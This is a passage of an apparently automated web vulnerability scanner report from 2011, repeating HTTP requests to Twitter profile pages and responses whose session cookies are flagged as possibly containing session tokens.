HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:37 GMT Server: hi Status: 200 OK X-Transaction: 1296664297-70994-58459 ETag: "92d6544c8d90a336b0610d8d835469b1" Last-Modified: Wed, 02 Feb 2011 16:31:37 GMT X-Runtime: 0.01158 Content-Type: text/html; charset=utf-8 Content-Length: 50104 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /JetBlue HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:24 GMT Server: hi Status: 200 OK X-Transaction: 1296664284-81226-52768 ETag: "c47332e62f2ab4dee197b8966177b9af" Last-Modified: Wed, 02 Feb 2011 16:31:24 GMT X-Runtime: 0.01093 Content-Type: text/html; charset=utf-8 Content-Length: 53698 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /JohnsHopkinsSPH HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:32 GMT Server: hi Status: 200 OK X-Transaction: 1296664292-75706-5735 ETag: "dff3b91ce9bcd0d241c29140607e7ea4" Last-Modified: Wed, 02 Feb 2011 16:31:32 GMT X-Runtime: 0.01534 Content-Type: text/html; charset=utf-8 Content-Length: 53920 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /McKQuarterly HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:12 GMT Server: hi Status: 200 OK X-Transaction: 1296664272-53386-25173 ETag: "3c242bbb56a0c05a14e9b1d711d6d7ea" Last-Modified: Wed, 02 Feb 2011 16:31:12 GMT X-Runtime: 0.01305 Content-Type: text/html; charset=utf-8 Content-Length: 52512 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /MomsWhoSave HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:57 GMT Server: hi Status: 200 OK X-Transaction: 1296664257-5047-11533 ETag: "acc0dc7ccac73107ebe640e17bc8d39a" Last-Modified: Wed, 02 Feb 2011 16:30:57 GMT X-Runtime: 0.02116 Content-Type: text/html; charset=utf-8 Content-Length: 48426 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079865736372; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /NetworkConnects HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:18 GMT Server: hi Status: 200 OK X-Transaction: 1296570798-63133-14648 ETag: "56c36945f01b3fa478765c1a8e7408bf" Last-Modified: Tue, 01 Feb 2011 14:33:18 GMT X-Runtime: 0.00770 Content-Type: text/html; charset=utf-8 Content-Length: 47947 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570798650092; path=/; expires=Tue, 08-Feb-11 14:33:18 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079865736372; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWEyN2JjYTllZTU4ZmQ5OWFkNzQ2MDFjNzgyMGI4Njk1Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIQlKk4S0B--c2869b37ba3e800b99d06240d4d63125f6c1aac4; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Nightline HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:01 GMT Server: hi Status: 200 OK X-Transaction: 1296664261-87462-50135 ETag: "5f45ef66819fc84bcaf71a2a6f94e92d" Last-Modified: Wed, 02 Feb 2011 16:31:01 GMT X-Runtime: 0.03195 Content-Type: text/html; charset=utf-8 Content-Length: 57147 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /NoReservations HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:57 GMT Server: hi Status: 200 OK X-Transaction: 1296664257-66115-20192 ETag: "89e7ee48646735c7592d00825b5abd19" Last-Modified: Wed, 02 Feb 2011 16:30:57 GMT X-Runtime: 0.01105 Content-Type: text/html; charset=utf-8 Content-Length: 49945 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /NylonMag HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:20 GMT Server: hi Status: 200 OK X-Transaction: 1296664280-36838-58412 ETag: "0b590a3dc5cc41a9895f051ee0a92400" Last-Modified: Wed, 02 Feb 2011 16:31:20 GMT X-Runtime: 0.01176 Content-Type: text/html; charset=utf-8 Content-Length: 53767 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /OmnitureEMEA HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:02 GMT Server: hi Status: 200 OK X-Transaction: 1296664202-7552-57855 ETag: "51ec95abb661a6cd91d62d99e190788c" Last-Modified: Wed, 02 Feb 2011 16:30:02 GMT X-Runtime: 0.01967 Content-Type: text/html; charset=utf-8 Content-Length: 53682 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzciCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiUwZWU5%250AYmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2Y2E4OToVaW5fbmV3X3VzZXJfZmxv%250AdzA%253D--5d5e0cde97546ff3bb3adffea964a59e2e281451; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PeaceCorps HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:18 GMT Server: hi Status: 200 OK X-Transaction: 1296664278-24496-1442 ETag: "78f8a1f0d0b595c8c94e3884671db7ad" Last-Modified: Wed, 02 Feb 2011 16:31:18 GMT X-Runtime: 0.01473 Content-Type: text/html; charset=utf-8 Content-Length: 54541 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
